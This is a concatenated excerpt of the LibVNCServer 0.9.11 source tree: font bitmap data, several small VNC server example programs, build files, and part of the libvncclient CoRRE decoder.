0x32,0x4c,0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 213 */ 0x6c,0x00,0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 214 */ 0x00,0x00,0x00,0x00,0x44,0x28,0x00,0x28,0x44,0x00,0x00,0x00, /* 215 */ 0x00,0x7a,0x84,0x82,0x8a,0x92,0xa2,0x82,0x42,0xbc,0x00,0x00, /* 216 */ 0x20,0x18,0x00,0x82,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 217 */ 0x08,0x30,0x00,0x82,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 218 */ 0x38,0x44,0x00,0x82,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 219 */ 0x6c,0x00,0x00,0x82,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 220 */ 0x08,0xb2,0x82,0x82,0x82,0x7c,0x00,0x10,0x10,0x10,0x00,0x00, /* 221 */ 0x00,0x80,0x80,0xbc,0x82,0x82,0x82,0xbc,0x80,0x80,0x00,0x00, /* 222 */ 0x00,0x3c,0x42,0x42,0x42,0x5c,0x42,0x42,0x42,0x9c,0x00,0x00, /* 223 */ 0x20,0x18,0x00,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 224 */ 0x08,0x30,0x00,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 225 */ 0x38,0x44,0x00,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 226 */ 0x32,0x4c,0x00,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 227 */ 0x6c,0x00,0x00,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 228 */ 0x18,0x24,0x18,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 229 */ 0x00,0x00,0x00,0x00,0x6c,0x12,0x52,0x94,0x90,0x6e,0x00,0x00, /* 230 */ 0x00,0x00,0x00,0x00,0x3c,0x40,0x40,0x40,0x40,0x34,0x08,0x10, /* 231 */ 0x20,0x18,0x00,0x00,0x3c,0x42,0x42,0x5c,0x40,0x3c,0x00,0x00, /* 232 */ 0x08,0x30,0x00,0x00,0x3c,0x42,0x42,0x5c,0x40,0x3c,0x00,0x00, /* 233 */ 0x38,0x44,0x00,0x00,0x3c,0x42,0x42,0x5c,0x40,0x3c,0x00,0x00, /* 234 */ 0x6c,0x00,0x00,0x00,0x3c,0x42,0x42,0x5c,0x40,0x3c,0x00,0x00, /* 235 */ 0x20,0x18,0x00,0x10,0x00,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 236 */ 0x08,0x30,0x00,0x10,0x00,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 237 */ 0x38,0x44,0x00,0x10,0x00,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 238 */ 0x6c,0x00,0x00,0x10,0x00,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 239 */ 0x00,0x14,0x08,0x14,0x02,0x3a,0x42,0x42,0x42,0x3c,0x00,0x00, /* 240 */ 0x00,0x32,0x4c,0x00,0x3c,0x42,0x42,0x42,0x42,0x42,0x00,0x00, /* 241 */ 0x20,0x18,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 242 */ 0x08,0x30,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 243 */ 0x38,0x44,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 244 */ 0x32,0x4c,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 245 */ 0x6c,0x00,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 246 */ 0x00,0x00,0x00,0x00,0x38,0x00,0xfe,0x00,0x38,0x00,0x00,0x00, /* 247 */ 0x00,0x00,0x00,0x00,0x3a,0x44,0x4a,0x52,0x22,0x5c,0x00,0x00, /* 248 */ 0x20,0x18,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 249 */ 0x08,0x30,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 250 */ 0x38,0x44,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 251 */ 0x6c,0x00,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 252 */ 0x04,0x18,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3a,0x02,0x3c, /* 253 */ 0x00,0x80,0x80,0x9c,0xa2,0x82,0xa2,0x9c,0x80,0x80,0x00,0x00, /* 254 */ }; static int radonFontMetaData[256*5]={ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,0,-2,12,8,12,0,-2,24,8,12,0,-2,36,8,12,0,-2,48,8,12,0,-2,60,8,12,0,-2,72,8,12,0,-2,84,8,12,0,-2,96,8,12,0,-2,108,8,12,0,-2,120,8,12,0,-2,132,8,12,0,-2,144,8,12,0,-2,156,8,12,0,-2,168,8,12,0,-2,180,8,12,0,-2,192,8,12,0,-2,204,8,12,0,-2,216,8,12,0,-2,228,8,12,0,-2,240,8,12,0,-2,252,8,12,0,-2,264,8,12,0,-2,276,8,12,0,-2,288,8,12,0,-2,300,8,12,0,-2,312,8,12,0,-2,324,8,12,0,-2,336,8,12,0,-2,348,8,12,0,-2,360,8,12,0,-2,372,8,12,0,-2,384,8,12,0,-2,396,8,12,0,-2,408,8,12,0,-2,420,8,12,0,-2,432,8,12,0,-2,444,8,12,0,-2,456,8,12,0,-2,468,8,12,0,-2,480,8,12,0,-2,492,8,12,0,-2,504,8,12,0,-2,516,8,12,0,-2,528,8,12,0,-2,540,8,12,0,-2,552,8,12,0,-2,564,8,12,0,-2,576,8,12,0,-2,588,8,12,0,-2,600,8,12,0,-2,612,8,12,0,-2,624,8,12,0,-2,636,8,12,0,-2,648,8,12,0,-2,660,8,12,0,-2,672,8,12,0,-2,684,8,12,0,-2,696,8,12,0,-2,708,8,12,0,-2,720,8,12,0,-2,732,8,12,0,-2,744,8,12,0,-2,756,8,12,0,-2,768,8,12,0,-2,780,8,12,0,-2,792,8,12,0,-2,804,8,12,0,-2,816,8,12,0,-2,828,8,12,0,-2,840,8,12,0,-2,852,8,12,0,-2,864,8,12,0,-2,876,8,12,0,-2,888,8,12,0,-2,900,8,12,0,-2,912,8,12,0,-2,924,8,12,0,-2,936,8,12,0,-2,948,8,12,0,-2,960,8,12,0,-2,972,8,12,0,-2,984,8,12,0,-2,996,8,12,0,-2,1008,8,12,0,-2,1020,8,12,0,-2,1032,8,12,0,-2,1044,8,12,0,-2,1056,8,12,0,-2,1068,8,12,0,-2,1080,8,12,0,-2,1092,8,12,0,-2,1104,8,12,0,-2,1116,8,12,0,-2,1128,8,12,0,-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1140,8,12,0,-2,1152,8,12,0,-2,1164,8,12,0,-2,1176,8,12,0,-2,1188,8,12,0,-2,1200,8,12,0,-2,1212,8,12,0,-2,1224,8,12,0,-2,1236,8,12,0,-2,1248,8,12,0,-2,1260,8,12,0,-2,1272,8,12,0,-2,1284,8,12,0,-2,1296,8,12,0,-2,1308,8,12,0,-2,1320,8,12,0,-2,1332,8,12,0,-2,1344,8,12,0,-2,1356,8,12,0,-2,1368,8,12,0,-2,1380,8,12,0,-2,1392,8,12,0,-2,1404,8,12,0,-2,1416,8,12,0,-2,1428,8,12,0,-2,1440,8,12,0,-2,1452,8,12,0,-2,1464,8,12,0,-2,1476,8,12,0,-2,1488,8,12,0,-2,1500,8,12,0,-2,1512,8,12,0,-2,1524,8,12,0,-2,1536,8,12,0,-2,1548,8,12,0,-2,1560,8,12,0,-2,1572,8,12,0,-2,1584,8,12,0,-2,1596,8,12,0,-2,1608,8,12,0,-2,1620,8,12,0,-2,1632,8,12,0,-2,1644,8,12,0,-2,1656,8,12,0,-2,1668,8,12,0,-2,1680,8,12,0,-2,1692,8,12,0,-2,1704,8,12,0,-2,1716,8,12,0,-2,1728,8,12,0,-2,1740,8,12,0,-2,1752,8,12,0,-2,1764,8,12,0,-2,1776,8,12,0,-2,1788,8,12,0,-2,1800,8,12,0,-2,1812,8,12,0,-2,1824,8,12,0,-2,1836,8,12,0,-2,1848,8,12,0,-2,1860,8,12,0,-2,1872,8,12,0,-2,1884,8,12,0,-2,1896,8,12,0,-2,1908,8,12,0,-2,1920,8,12,0,-2,1932,8,12,0,-2,1944,8,12,0,-2,1956,8,12,0,-2,1968,8,12,0,-2,1980,8,12,0,-2,1992,8,12,0,-2,2004,8,12,0,-2,2016,8,12,0,-2,2028,8,12,0,-2,2040,8,12,0,-2,2052,8,12,0,-2,2064,8,12,0,-2,2076,8,12,0,-2,2088,8,12,0,-2,2100,8,12,0,-2,2112,8,12,0,-2,2124,8,12,0,-2,2136,8,12,0,-2,2148,8,12,0,-2,2160,8,12,0,-2,2172,8,12,0,-2,2184,8,12,0,-2,2196,8,12,0,-2,2208,8,12,0,-2,2220,8,12,0,-2,2232,8,12,0,-2,2244,8,12,0,-2,2256,8,12,0,-2,2268,8,12,0,-2,0,0,0,0,0,}; static rfbFontData radonFont={radonFontData, radonFontMetaData}; libvncserver-LibVNCServer-0.9.11/examples/regiontest.c000066400000000000000000000000711303145525000227110ustar00rootroot00000000000000#define SRA_TEST #include "../libvncserver/rfbregion.c" libvncserver-LibVNCServer-0.9.11/examples/repeater.c000066400000000000000000000031441303145525000223410ustar00rootroot00000000000000/* This example shows how to connect to an UltraVNC repeater. */ #include static void clientGone(rfbClientPtr cl) { rfbShutdownServer(cl->screen, TRUE); } int main(int argc,char** argv) { char *repeaterHost; int repeaterPort, sock; char id[250]; rfbClientPtr cl; int i,j; uint16_t* f; /* Parse command-line arguments */ if (argc < 3) { fprintf(stderr, "Usage: %s []\n", argv[0]); exit(1); } snprintf(id, sizeof(id) - 1, "ID:%s", argv[1]); repeaterHost = argv[2]; repeaterPort = argc < 4 ? 5500 : atoi(argv[3]); /* The initialization is identical to simple15.c */ rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,5,3,2); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*2); f=(uint16_t*)server->frameBuffer; for(j=0;j<300;j++) for(i=0;i<400;i++) f[j*400+i]=/* red */ ((j*32/300) << 10) | /* green */ (((j+400-i)*32/700) << 5) | /* blue */ ((i*32/400)); /* Now for the repeater-specific part: */ server->port = -1; /* do not listen on any port */ server->ipv6port = -1; /* do not listen on any port */ sock = rfbConnectToTcpAddr(repeaterHost, repeaterPort); if (sock < 0) { perror("connect to repeater"); return 1; } if (write(sock, id, sizeof(id)) != sizeof(id)) { perror("writing id"); return 1; } cl = rfbNewClient(server, sock); if (!cl) { perror("new client"); return 1; } cl->reverseConnection = 0; cl->clientGoneHook = clientGone; /* Run the server */ rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return 0; } libvncserver-LibVNCServer-0.9.11/examples/rotate.c000066400000000000000000000035731303145525000220360ustar00rootroot00000000000000#include #include #include #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define FUNCNAME rfbRotate #define FUNC(i, j) (h - 1 - j + i * h) #define SWAPDIMENSIONS #define OUTBITS 8 #include "rotatetemplate.c" #define OUTBITS 16 #include "rotatetemplate.c" #define OUTBITS 32 #include "rotatetemplate.c" #undef FUNCNAME #undef FUNC #define FUNCNAME rfbRotateCounterClockwise #define FUNC(i, j) (j + (w - 1 - i) * h) #define OUTBITS 8 #include "rotatetemplate.c" #define OUTBITS 16 #include "rotatetemplate.c" #define OUTBITS 32 #include "rotatetemplate.c" #undef FUNCNAME #undef FUNC #undef SWAPDIMENSIONS #define FUNCNAME rfbFlipHorizontally #define FUNC(i, j) ((w - 1 - i) + j * w) #define OUTBITS 8 #include "rotatetemplate.c" #define OUTBITS 16 #include "rotatetemplate.c" #define OUTBITS 32 #include "rotatetemplate.c" #undef FUNCNAME #undef FUNC #define FUNCNAME rfbFlipVertically #define FUNC(i, j) (i + (h - 1 - j) * w) #define OUTBITS 8 #include "rotatetemplate.c" #define OUTBITS 16 #include "rotatetemplate.c" #define OUTBITS 32 #include "rotatetemplate.c" #undef FUNCNAME #undef FUNC #define FUNCNAME rfbRotateHundredAndEighty #define FUNC(i, j) ((w - 1 - i) + (h - 1 - j) * w) #define OUTBITS 8 #include "rotatetemplate.c" #define OUTBITS 16 #include "rotatetemplate.c" #define OUTBITS 32 #include "rotatetemplate.c" #undef FUNCNAME #undef FUNC static void HandleKey(rfbBool down,rfbKeySym key,rfbClientPtr cl) { if(down) { if (key==XK_Escape || key=='q' || key=='Q') rfbCloseClient(cl); else if (key == 'r') rfbRotate(cl->screen); else if (key == 'R') rfbRotateCounterClockwise(cl->screen); else if (key == 'f') rfbFlipHorizontally(cl->screen); else if (key == 'F') rfbFlipVertically(cl->screen); } } #define HAVE_HANDLEKEY #include "pnmshow.c" libvncserver-LibVNCServer-0.9.11/examples/rotatetemplate.c000066400000000000000000000024031303145525000235610ustar00rootroot00000000000000#define OUT_T CONCAT3E(uint,OUTBITS,_t) #define FUNCTION CONCAT2E(FUNCNAME,OUTBITS) static void FUNCTION(rfbScreenInfoPtr screen) { OUT_T* buffer = (OUT_T*)screen->frameBuffer; int i, j, w = screen->width, h = screen->height; OUT_T* newBuffer = (OUT_T*)malloc(w * h * sizeof(OUT_T)); for (j = 0; j < h; j++) for (i = 0; i < w; i++) newBuffer[FUNC(i, j)] = buffer[i + j * w]; memcpy(buffer, newBuffer, w * h * sizeof(OUT_T)); free(newBuffer); #ifdef SWAPDIMENSIONS screen->width = h; screen->paddedWidthInBytes = h * OUTBITS / 8; screen->height = w; { rfbClientIteratorPtr iterator; rfbClientPtr cl; iterator = rfbGetClientIterator(screen); while ((cl = rfbClientIteratorNext(iterator)) != NULL) cl->newFBSizePending = 1; } #endif rfbMarkRectAsModified(screen, 0, 0, screen->width, screen->height); } #if OUTBITS == 32 void FUNCNAME(rfbScreenInfoPtr screen) { if (screen->serverFormat.bitsPerPixel == 32) CONCAT2E(FUNCNAME,32)(screen); else if (screen->serverFormat.bitsPerPixel == 16) CONCAT2E(FUNCNAME,16)(screen); else if (screen->serverFormat.bitsPerPixel == 8) CONCAT2E(FUNCNAME,8)(screen); else { rfbErr("Unsupported pixel depth: %d\n", screen->serverFormat.bitsPerPixel); return; } } #endif #undef FUNCTION #undef OUTBITS libvncserver-LibVNCServer-0.9.11/examples/simple.c000066400000000000000000000005341303145525000220230ustar00rootroot00000000000000#include int main(int argc,char** argv) { rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,8,3,4); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*4); rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return(0); } libvncserver-LibVNCServer-0.9.11/examples/simple15.c000066400000000000000000000012271303145525000221710ustar00rootroot00000000000000/* This example shows how to use 15-bit (which is handled as 16-bit internally). */ #include int main(int argc,char** argv) { int i,j; uint16_t* f; rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,5,3,2); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*2); f=(uint16_t*)server->frameBuffer; for(j=0;j<300;j++) for(i=0;i<400;i++) f[j*400+i]=/* red */ ((j*32/300) << 10) | /* green */ (((j+400-i)*32/700) << 5) | /* blue */ ((i*32/400)); rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return(0); } libvncserver-LibVNCServer-0.9.11/examples/storepasswd.c000066400000000000000000000027101303145525000231060ustar00rootroot00000000000000/* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include static void usage(void) { printf("\nusage: storepasswd \n\n"); printf("Stores a password in encrypted format.\n"); printf("The resulting file can be used with the -rfbauth argument to OSXvnc.\n\n"); exit(1); } int main(int argc, char *argv[]) { if (argc != 3) usage(); if (rfbEncryptAndStorePasswd(argv[1], argv[2]) != 0) { printf("storing password failed.\n"); return 1; } else { printf("storing password succeeded.\n"); return 0; } } libvncserver-LibVNCServer-0.9.11/examples/vncev.c000066400000000000000000000062311303145525000216530ustar00rootroot00000000000000/** * @example vncev.c * This program is a simple server to show events coming from the client */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include #include #include #ifndef __MINGW32__ #include #endif #include #include #define width 100 #define height 100 static char f[width*height]; static char* keys[0x400]; static int hex2number(unsigned char c) { if(c>'f') return(-1); else if(c>'F') return(10+c-'a'); else if(c>'9') return(10+c-'A'); else return(c-'0'); } static void read_keys(void) { int i,j,k; char buffer[1024]; FILE* keysyms=fopen("keysym.h","r"); memset(keys,0,0x400*sizeof(char*)); if(!keysyms) return; while(!feof(keysyms)) { fgets(buffer,1024,keysyms); if(!strncmp(buffer,"#define XK_",strlen("#define XK_"))) { for(i=strlen("#define XK_");buffer[i] && buffer[i]!=' ' && buffer[i]!='\t';i++); if(buffer[i]==0) /* don't support wrapped lines */ continue; buffer[i]=0; for(i++;buffer[i] && buffer[i]!='0';i++); if(buffer[i]==0 || buffer[i+1]!='x') continue; for(j=0,i+=2;(k=hex2number(buffer[i]))>=0;i++) j=j*16+k; if(keys[j&0x3ff]) { char* x=(char*)malloc(1+strlen(keys[j&0x3ff])+1+strlen(buffer+strlen("#define "))); strcpy(x,keys[j&0x3ff]); strcat(x,","); strcat(x,buffer+strlen("#define ")); free(keys[j&0x3ff]); keys[j&0x3ff]=x; } else keys[j&0x3ff] = strdup(buffer+strlen("#define ")); } } fclose(keysyms); } static int lineHeight=16,lineY=height-16; static void output(rfbScreenInfoPtr s,char* line) { rfbDoCopyRect(s,0,0,width,height-lineHeight,0,-lineHeight); rfbDrawString(s,&default8x16Font,10,lineY,line,0x01); rfbLog("%s\n",line); } static void dokey(rfbBool down,rfbKeySym k,rfbClientPtr cl) { char buffer[1024+32]; sprintf(buffer,"%s: %s (0x%x)", down?"down":"up",keys[k&0x3ff]?keys[k&0x3ff]:"",(unsigned int)k); output(cl->screen,buffer); } static void doptr(int buttonMask,int x,int y,rfbClientPtr cl) { char buffer[1024]; if(buttonMask) { sprintf(buffer,"Ptr: mouse button mask 0x%x at %d,%d",buttonMask,x,y); output(cl->screen,buffer); } } static enum rfbNewClientAction newclient(rfbClientPtr cl) { char buffer[1024]; struct sockaddr_in addr; socklen_t len=sizeof(addr); unsigned int ip; getpeername(cl->sock,(struct sockaddr*)&addr,&len); ip=ntohl(addr.sin_addr.s_addr); sprintf(buffer,"Client connected from ip %d.%d.%d.%d", (ip>>24)&0xff,(ip>>16)&0xff,(ip>>8)&0xff,ip&0xff); output(cl->screen,buffer); return RFB_CLIENT_ACCEPT; } int main(int argc,char** argv) { rfbScreenInfoPtr s=rfbGetScreen(&argc,argv,width,height,8,1,1); if(!s) return 0; s->colourMap.is16=FALSE; s->colourMap.count=2; s->colourMap.data.bytes=(unsigned char*)"\xd0\xd0\xd0\x30\x01\xe0"; s->serverFormat.trueColour=FALSE; s->frameBuffer=f; s->kbdAddEvent=dokey; s->ptrAddEvent=doptr; s->newClientHook=newclient; memset(f,0,width*height); read_keys(); rfbInitServer(s); while(1) { rfbProcessEvents(s,999999); } } libvncserver-LibVNCServer-0.9.11/examples/zippy.c000066400000000000000000000146171303145525000217140ustar00rootroot00000000000000#include #include #include #include #include static int maxx=400, maxy=400, bpp=4; /* odd maxx doesn't work (vncviewer bug) */ /* Here we create a structure so that every client has its own pointer */ /* turns the framebuffer black */ void blank_framebuffer(char* frame_buffer, int x1, int y1, int x2, int y2); /* displays a red bar, a green bar, and a blue bar */ void draw_primary_colors (char* frame_buffer, int x1, int y1, int x2, int y2); void draw_primary_colours_generic(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2); void draw_primary_colours_generic_fast(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2); void linecount (char* frame_buffer); /* handles mouse events */ void on_mouse_event (int buttonMask,int x,int y,rfbClientPtr cl); /* handles keyboard events */ void on_key_press (rfbBool down,rfbKeySym key,rfbClientPtr cl); int main (int argc, char **argv) { rfbScreenInfoPtr server; if(!rfbProcessSizeArguments(&maxx,&maxy,&bpp,&argc,argv)) return 1; server = rfbGetScreen (&argc, argv, maxx, maxy, 8, 3, bpp); if(!server) return 0; server->desktopName = "Zippy das wundersquirrel\'s VNC server"; server->frameBuffer = (char*)malloc(maxx*maxy*bpp); server->alwaysShared = TRUE; server->kbdAddEvent = on_key_press; server->ptrAddEvent = on_mouse_event; rfbInitServer (server); blank_framebuffer(server->frameBuffer, 0, 0, maxx, maxy); rfbRunEventLoop (server, -1, FALSE); free(server->frameBuffer); rfbScreenCleanup (server); return 0; } void blank_framebuffer(char* frame_buffer, int x1, int y1, int x2, int y2) { int i; for (i=0; i < maxx * maxy * bpp; i++) frame_buffer[i]=(char) 0; } void draw_primary_colors (char* frame_buffer, int x1, int y1, int x2, int y2) { int i, j, current_pixel; for (i=y1; i < y2; i++){ for (j=x1; j < x2; j++) { current_pixel = (i*x2 + j) * bpp; if (i < y2 ) { frame_buffer[current_pixel+0] = (char) 128; frame_buffer[current_pixel+1] = (char) 0; frame_buffer[current_pixel+2] = (char) 0; } if (i < y2/3*2) { frame_buffer[current_pixel+0] = (char) 0; frame_buffer[current_pixel+1] = (char) 128; frame_buffer[current_pixel+2] = (char) 0; } if (i < y2/3) { frame_buffer[current_pixel+0] = (char) 0; frame_buffer[current_pixel+1] = (char) 0; frame_buffer[current_pixel+2] = (char) 128; } } } } /* Dscho's versions (slower, but works for bpp != 3 or 4) */ void draw_primary_colours_generic(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2) { rfbPixelFormat f=s->serverFormat; int i,j; for(j=y1;jserverFormat; int i,j,y3=(y1*2+y2)/3,y4=(y1+y2*2)/3; /* draw first pixel */ rfbDrawPixel(s,x1,y1,f.redMax<frameBuffer+(x)*bpp+(y)*s->paddedWidthInBytes memcpy(ADDR(i,j+y1),ADDR(x1,y1),bpp); memcpy(ADDR(i,j+y3),ADDR(x1,y3),bpp); memcpy(ADDR(i,j+y4),ADDR(x1,y4),bpp); } } static void draw_primary_colours_generic_ultrafast(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2) { rfbPixelFormat f=s->serverFormat; int y3=(y1*2+y2)/3,y4=(y1+y2*2)/3; /* fill rectangles */ rfbFillRect(s,x1,y1,x2,y3,f.redMax<maxy-20; i-=4) for (j=0; j<4; j++) for (k=0; k < maxx; k++) { current_pixel = (i*j*maxx + k) * bpp; if (i%2 == 0) { frame_buffer[current_pixel+0] = (char) 0; frame_buffer[current_pixel+1] = (char) 0; frame_buffer[current_pixel+2] = (char) 128; } if (i%2 == 1) { frame_buffer[current_pixel+0] = (char) 128; frame_buffer[current_pixel+1] = (char) 0; frame_buffer[current_pixel+2] = (char) 0; } } } void on_key_press (rfbBool down,rfbKeySym key,rfbClientPtr cl) { if (down) /* or else the action occurs on both the press and depress */ switch (key) { case XK_b: case XK_B: blank_framebuffer(cl->screen->frameBuffer, 0, 0, maxx, maxy); rfbDrawString(cl->screen,&default8x16Font,20,maxy-20,"Hello, World!",0xffffff); rfbMarkRectAsModified(cl->screen,0, 0,maxx,maxy); rfbLog("Framebuffer blanked\n"); break; case XK_p: case XK_P: /* draw_primary_colors (cl->screen->frameBuffer, 0, 0, maxx, maxy); */ draw_primary_colours_generic_ultrafast (cl->screen, 0, 0, maxx, maxy); rfbMarkRectAsModified(cl->screen,0, 0,maxx,maxy); rfbLog("Primary colors displayed\n"); break; case XK_Q: case XK_q: rfbLog("Exiting now\n"); exit(0); case XK_C: case XK_c: rfbDrawString(cl->screen,&default8x16Font,20,100,"Hello, World!",0xffffff); rfbMarkRectAsModified(cl->screen,0, 0,maxx,maxy); break; default: rfbLog("The %c key was pressed\n", (char) key); } } void on_mouse_event (int buttonMask,int x,int y,rfbClientPtr cl) { printf("buttonMask: %i\n" "x: %i\n" "y: %i\n", buttonMask, x, y); } libvncserver-LibVNCServer-0.9.11/libvncclient.pc.in000066400000000000000000000004611303145525000221540ustar00rootroot00000000000000prefix=@prefix@ exec_prefix=@exec_prefix@ libdir=@libdir@ includedir=@includedir@ Name: LibVNCClient Description: A library for easy implementation of a VNC client. Version: @VERSION@ Requires: Requires.private: zlib Libs: -L${libdir} -lvncclient Libs.private: @LIBS@ @WSOCKLIB@ Cflags: -I${includedir} libvncserver-LibVNCServer-0.9.11/libvncclient/000077500000000000000000000000001303145525000212225ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/libvncclient/Makefile.am000066400000000000000000000013771303145525000232660ustar00rootroot00000000000000AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/common if HAVE_GNUTLS TLSSRCS = tls_gnutls.c TLSLIBS = @GNUTLS_LIBS@ else if HAVE_LIBSSL TLSSRCS = tls_openssl.c TLSLIBS = @SSL_LIBS@ @CRYPT_LIBS@ else TLSSRCS = tls_none.c endif endif libvncclient_la_SOURCES=cursor.c listen.c rfbproto.c sockets.c vncviewer.c ../common/minilzo.c $(TLSSRCS) libvncclient_la_LIBADD=$(TLSLIBS) noinst_HEADERS=../common/lzodefs.h ../common/lzoconf.h ../common/minilzo.h tls.h rfbproto.o: rfbproto.c corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c EXTRA_DIST=corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c tls_gnutls.c tls_openssl.c tls_none.c $(libvncclient_la_OBJECTS): ../rfb/rfbclient.h lib_LTLIBRARIES=libvncclient.la libvncclient_la_LDFLAGS = -version-info 1:0:0 libvncserver-LibVNCServer-0.9.11/libvncclient/corre.c000066400000000000000000000037451303145525000225110ustar00rootroot00000000000000/* * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * corre.c - handle CoRRE encoding. * * This file shouldn't be compiled directly. It is included multiple times by * rfbproto.c, each time with a different definition of the macro BPP. For * each value of BPP, this file defines a function which handles a CoRRE * encoded rectangle with BPP bits per pixel. */ #define HandleCoRREBPP CONCAT2E(HandleCoRRE,BPP) #define CARDBPP CONCAT3E(uint,BPP,_t) static rfbBool HandleCoRREBPP (rfbClient* client, int rx, int ry, int rw, int rh) { rfbRREHeader hdr; int i; CARDBPP pix; uint8_t *ptr; int x, y, w, h; if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbRREHeader)) return FALSE; hdr.nSubrects = rfbClientSwap32IfLE(hdr.nSubrects); if (!ReadFromRFBServer(client, (char *)&pix, sizeof(pix))) return FALSE; FillRectangle(client, rx, ry, rw, rh, pix); if (!ReadFromRFBServer(client, client->buffer, hdr.nSubrects * (4 + (BPP / 8)))) return FALSE; ptr = (uint8_t *)client->buffer; for (i = 0; i < hdr.nSubrects; i++) { pix = *(CARDBPP *)ptr; ptr += BPP/8; x = *ptr++; y = *ptr++; w = *ptr++; h = *ptr++; FillRectangle(client, rx+x, ry+y, w, h, pix); } return TRUE; } #undef CARDBPP libvncserver-LibVNCServer-0.9.11/libvncclient/cursor.c000066400000000000000000000115611303145525000227070ustar00rootroot00000000000000/* * Copyright (C) 2001,2002 Constantin Kaplinsky. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software 